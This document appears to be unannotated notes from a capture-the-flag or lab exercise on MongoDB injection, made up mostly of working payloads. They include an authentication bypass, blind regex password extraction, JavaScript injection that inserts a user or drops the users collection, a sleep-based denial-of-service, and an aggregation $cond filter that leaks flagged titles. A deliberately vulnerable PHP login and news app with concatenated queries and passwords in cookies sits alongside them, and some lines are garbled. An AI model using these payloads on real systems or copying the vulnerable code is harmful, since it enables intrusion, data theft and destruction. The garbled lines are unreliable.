username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: 'successful MongoDB injection'

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: 'successful MongoDB injection'

select * from logins where username = 'admin' and (password true<> or ('a'='a' and password = ''))

?username='||1) return {'username': tojson(db.getCollectionNames()), 'password': 'hacked'}}//&password=1

?username=1&password=admin' || '' = '

$function = "function() {if(this.uname == 'anything' && this.pwd == 'admin' || '' == '') return {'username': this.uname, 'password': this.pwd}}";

?username=1&password=1;(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();

?username=1'});db.users.insert({"username":"ca01h","password":"1"});db.users.find({'username':'2

?username=1'});db.users.drop();db.users.find({'username':'2

a);}},function(kv) { return 1; }, { out: ‘x’ });
db.injection.insert({success:1}); return 1;
db.stores.mapReduce(function() { { emit(1,1

db.stores.mapReduce(function() { 
for (var i=0; i < this.items.length; i++) {
emit(this.name, this.items[i].a);
}
},
function(kv) { return 1; }, { out: 'x' });
db.injection.insert({success:1}); return 1;
db.stores.mapReduce(function() { { emit(1,1); } },
function(name, sum) {
return Array.sum(sum); }, { out: 'totals' });"

?username[$eq]=ca01h&password[$regex]=.{5}

# url格式
?username[$eq]=ca01h&password[$regex]=c.{4}
?username[$eq]=ca01h&password[$regex]=ca.{3}
?username[$eq]=ca01h&password[$regex]=ca0.{2}

?username[$eq]=ca01h&password[$regex]=c.*
?username[$eq]=ca01h&password[$regex]=ca.*

# json格式
{"username": {"$eq": "ca01h"}, "password": {"$regex": "^c" }}
{"username": {"$eq": "ca01h"}, "password": {"$regex": "^ca" }}
{"username": {"$eq": "ca01h"}, "password": {"$regex": "^ca0" }}

<?php
require_once __DIR__ . "/vendor/autoload.php";

function auth($username, $password) {
    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
    $document = $collection->findOne(json_decode($raw_query));
    if (isset($document) && isset($document->password)) {
        return true;
    }
    return false;
}

$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
    $user = auth($_COOKIE['username'], $_COOKIE['password']);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $user = auth($_POST['username'], $_POST['password']);
    if ($user) {
        setcookie('username', $_POST['username']);
        setcookie('password', $_POST['password']);
    }
}

?>

<?php if ($user == true): ?>

    Welcome!
    <div>
        Group most common news by
        <a href="?filter=$category">category</a> | 
        <a href="?filter=$public">publicity</a><br>
    </div>

    <?php
        $filter = $_GET['filter'];

        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

        $pipeline = [
            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
            ['$sort' => ['count' => -1]],
            ['$limit' => 5],
        ];

        $filters = [
            ['$project' => ['category' => $filter]]
        ];

        $cursor = $collection->aggregate(array_merge($filters, $pipeline));
    ?>

    <?php if (isset($filter)): ?>

        <?php
            foreach ($cursor as $category) {
                    printf("%s has %d news<br>", $category['_id'], $category['count']);
            }
        ?>

    <?php endif; ?>

<?php else: ?>

    <?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
        Invalid username or password
    <?php endif; ?>

    <form action='/' method="POST">
        <input type="text" name="username">
        <input type="password" name="password">
        <input type="submit">
    </form>

    <h2>News</h2>
    <?php
        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
        $cursor = $collection->find(['public' => 1]);
        foreach ($cursor as $news) {
            printf("%s<br>", $news['title']);
        }
    ?>

<?php endif; ?>

username=1&password=","password":{"$ne"=null}, "username":admin"

代码：
var_dump(json_decode($raw_query));

输出:
object(stdClass)#1 (2) {
  ["username"]=>
  string(12) "{'$ne':null}"
  ["password"]=>
  string(12) "{'$ne':null}"
}

db.inventory.aggregate(
   [
      {
         $project:
           {
             item: 1,
             discount:
               {
                 $cond: { if: { $gte: [ "$qty", 250 ] }, then: 30, else: 20 }
               }
           }
      }
   ]
)

db.news.aggregate(
   [
      {
         $project:
           {
             category:
               {
                 $cond: { if: { $eq: [ "$category", "flags" ] }, then: $title, else: $category }
               }
           }
      }
   ]
)

?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category

object(stdClass)#4 (1) {
  ["category"]=>
  object(stdClass)#3 (1) {
    ["$cond"]=>
    object(stdClass)#2 (3) {
      ["if"]=>
      object(stdClass)#1 (1) {
        ["$eq"]=>
        array(2) {
          [0]=>
          string(9) "$category"
          [1]=>
          string(5) "flags"
        }
      }
      ["then"]=>
      string(6) "$title"
      ["else"]=>
      string(9) "$category"
    }
  }
}